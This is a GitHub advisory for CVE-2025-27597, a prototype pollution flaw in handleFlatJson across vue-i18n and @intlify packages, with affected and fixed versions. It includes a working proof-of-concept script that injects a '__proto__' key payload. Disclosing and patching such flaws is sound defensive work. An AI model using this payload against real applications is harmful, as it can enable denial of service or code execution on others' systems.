GitHub Advisoryadvisory · npm
GHSA-p2ph-7g93-hw3m Vue I18n Allows Prototype Pollution in `handleFlatJson`
HIGH
Official page ↗
- Aliases
- CVE-2025-27597
- Ecosystem
- npm
- Packages
- @intlify/message-resolver, @intlify/vue-i18n-core, petite-vue-i18n, vue-i18n, @intlify/core-base, @intlify/core
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
- Weaknesses
- CWE-1321
- Reviewed
- 2025-03-07
Affected packages
• npm @intlify/message-resolver: >= 9.1.0, < 9.1.11 → fixed in 9.1.11
• npm @intlify/vue-i18n-core: >= 9.2.0, < 9.14.3 → fixed in 9.14.3
• npm petite-vue-i18n: >= 10.0.0, < 10.0.6 → fixed in 10.0.6
• npm vue-i18n: >= 9.1.0, < 9.14.3 → fixed in 9.14.3
• npm @intlify/core-base: >= 9.1.0, < 9.1.11 → fixed in 9.1.11
• npm @intlify/core: >= 9.1.0, < 9.1.11 → fixed in 9.1.11
• npm @intlify/vue-i18n-core: >= 10.0.0-alpha.1, < 10.0.6 → fixed in 10.0.6
• npm @intlify/vue-i18n-core: >= 11.0.0-beta.0, < 11.1.2 → fixed in 11.1.2
• npm petite-vue-i18n: >= 11.0.0-beta.0, < 11.1.2 → fixed in 11.1.2
• npm vue-i18n: >= 10.0.0-alpha.1, < 10.0.6 → fixed in 10.0.6
• npm vue-i18n: >= 11.0.0-beta.0, < 11.1.2 → fixed in 11.1.2
Description
Vulnerability type:
Prototype Pollution
Vulnerability Location(s):
```js
v9.1
node_modules/@intlify/message-resolver/index.js
v9.2 or later
node_modules/@intlify/vue-i18n-core/index.js
```
Description:
The latest version of `@intlify/message-resolver (9.1)` and `@intlify/vue-i18n-core (9.2 or later)`, (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) `handleFlatJson`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
PoC:
```bash
// install the package with the latest version
~$ npm install @intlify/[email protected]
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack: {}
After Attack: {"pollutedKey":123}
```
```js
// poc.js
(async () => {
const lib = await import('@intlify/message-resolver');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();
```
Related
Alias · CVE (1)
- CVE-2025-27597 Vue I18n is the internationalization plugin for Vue.js. vulnerability
Weakness · CWE (1)
- CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness
References
- https://github.com/intlify/vue-i18n/security/advisories/GHSA-p2ph-7g93-hw3m web
- https://nvd.nist.gov/vuln/detail/CVE-2025-27597 advisory
- https://github.com/intlify/vue-i18n/commit/4bb6eacda7fc2cde5687549afa0efb27ca40862a web
- https://github.com/intlify/vue-i18n/commit/d21e06a7440eed8ada7f522b22fcf830b98d3a53 web
- https://github.com/intlify/vue-i18n/commit/fbda9988d3ddd3a1a21740d506d2c183d6b6e36a web
- https://github.com/intlify/vue-i18n/commit/feaf13fcff427f2cb1d5ec8076e639506ba28f9e web
- https://github.com/intlify/vue-i18n package
- https://github.com/intlify/vue-i18n/releases/tag/v10.0.6 web
- https://github.com/intlify/vue-i18n/releases/tag/v11.1.2 web
- https://github.com/intlify/vue-i18n/releases/tag/v9.14.3 web